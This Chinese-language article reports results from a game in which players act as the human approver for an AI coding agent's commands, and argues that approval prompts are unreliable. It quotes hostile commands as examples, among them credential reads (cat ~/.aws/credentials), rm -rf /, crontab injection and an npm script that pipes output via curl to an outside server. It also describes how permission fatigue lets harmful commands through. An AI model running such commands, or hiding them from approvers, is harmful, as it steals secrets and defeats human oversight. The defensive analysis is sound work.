在一个模拟AI编程Agent权限审批的游戏中,超过4万次玩家实验显示:人类平均漏掉1/3的恶意命令。真正危险的攻击(凭证窃取、代码注入)被漏掉的比例是明显破坏性命令的3倍。你的"人工审核"防线,可能没你想的那么可靠。
实验数据
前Uber工程师Alex Wauters做了一个有趣的小游戏——你扮演AI编程Agent的"人类审批员",在时间压力下审批或拒绝Agent发出的命令。有些是常规操作(git status、npm test),有些是恶意命令(cat ~/.aws/credentials、注入恶意代码)。
结果令人不安,基于40,000+次游戏、409,000个审批决策:
| 指标 | 数据 |
|---|---|
| 平均漏报率 | 33.7%(3个威胁漏1个) |
| 负分收场比例 | 32.9%(拦太多安全命令+放行威胁) |
| 全部放行玩家 | 7%(--dangerously-skip-permissions爱好者) |
| 零漏报玩家比例 | 35.2%(其中仅20.8%同时做到了合理放行) |
什么攻击最容易被漏掉?
数据揭示了一个规律:越明显的破坏越容易被拦截,越隐蔽的窃取越容易被放行。
| 威胁类型 | 示例 | 漏报率 |
|---|---|---|
| 显式破坏 | rm -rf /、chmod -R 777 / |
11.7% |
| 持久化篡改 | crontab注入、git配置劫持 | 23.8% |
| 数据窃取/代码执行 | curl未知API、typosquatted包 | 33.4% |
| 越权读取 | cat ~/.aws/credentials、cat ~/.kube/config |
35.0% |
能把你的AWS密钥偷走的命令,被漏掉的概率是rm -rf /的3倍。
npm run盲区:最危险的日常命令
游戏中最容易被放行的单个命令是什么?npm run analyze——被64.7%的玩家批准。
为什么?因为npm run本身看起来无害。但实际上它执行的是package.json中定义的脚本。游戏里,Agent的日志明确显示了脚本内容包含curl到外部服务器的操作:
"analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
curl -s -X POST https://api.bundle.track/report -d @-"
但2/3的玩家仍然点了批准。 他们没看Agent附带的上下文日志。
而且这不是孤例。三个npm run变体集体霸榜最容易漏掉的命令:
| 命令 | 漏报率 | 排名(37个威胁中) |
|---|---|---|
npm run analyze |
64.7% | 第1 |
npm run setup |
48.0% | 第4 |
npm run deploy |
44.9% | 第8 |
三个合起来漏报率52.5%,是其他窃取类攻击(28.4%)的近2倍。
HN用户@dns_snek一针见血:
"这完美展示了危险操作如何被感知为无害。整个'审批具体命令'的模型从根本上就是荒谬的。
npm run build执行的是package.json里的任意shell命令。而Agent可以在不被审批的情况下:编辑package.json把build命令改成任意内容、在build.js里注入恶意代码、在node_modules里植入恶意代码。"
时间压力放大了漏洞
数据还显示,漏报率在游戏末期明显回升。随着时间压力增加、审批疲劳累积,玩家越来越倾向于"快速通过"——这正是Anthropic在Claude Code中警告过的权限疲劳(permission fatigue)现象。
Anthropic的官方表述是:
"用户看到的审批请求越多,对每个审批的关注就越少,随着时间推移,监督的严谨程度会显著下降。"
另一个极端:过度拦截
但问题不止漏报。正常命令被错误拦截的比例同样触目惊心:
npm config set registry https://npm.internal— 59%被拦截(设置内部镜像,完全无害)rm -rf dist/— 45%被拦截(清理构建输出,常规操作)kill $(lsof -t -i:3000)— 43%被拦截(释放被占用端口)
这暴露了人工审批的两难困境:噪声太多导致疲劳,疲劳导致漏报;过度拦截又让Agent效率大打折扣。
对AI创业者的启示
1. 人工审批不是安全方案,是安全幻觉
如果你的AI Agent工作流依赖"人类最后审核",这个实验用数据证明了它不可靠。1/3的威胁会被漏掉,而且随着使用量增加只会更糟。
2. 沙箱隔离是底线
Agent应该运行在隔离环境中:独立容器、最小权限文件系统访问、网络白名单。不要让Agent能直接接触生产环境的凭证文件和配置文件。
3. 凭证分离是必修课
实验中cat ~/.zshrc被45.9%玩家批准——因为"我的.zshrc里没有密钥"。但如果你的shell profile里直接export了API密钥,Agent一行命令就能拿走。正确的做法是将凭证放在独立文件中,通过source加载,Agent无法直接读取。
4. 关注"审批模型"的进化
Claude Code的"Auto Mode"、工作空间信任边界、命令白名单/黑名单——这些机制都在试图减少人工审批的噪声。了解你所用工具的权限模型,比依赖直觉审批更可靠。
行动清单
- [ ] 检查你的Agent是否能访问
~/.aws、~/.kube、.env等敏感目录 - [ ] 将所有API密钥从shell profile中移出,使用独立凭证管理
- [ ] 为Agent运行设置网络白名单(阻断外发curl到未知域名)
- [ ] 审计
package.json中的所有scripts——npm run是你最大的盲区 - [ ] 去玩玩那个游戏:https://llmgame.scalex.dev ——测测你自己的拦截率
安全研究者最后的话值得深思:"这只一个游戏,但它展示了人类审批作为AI Agent安全防护的几个根本性问题。"下次你点"批准"的时候,多想一秒。
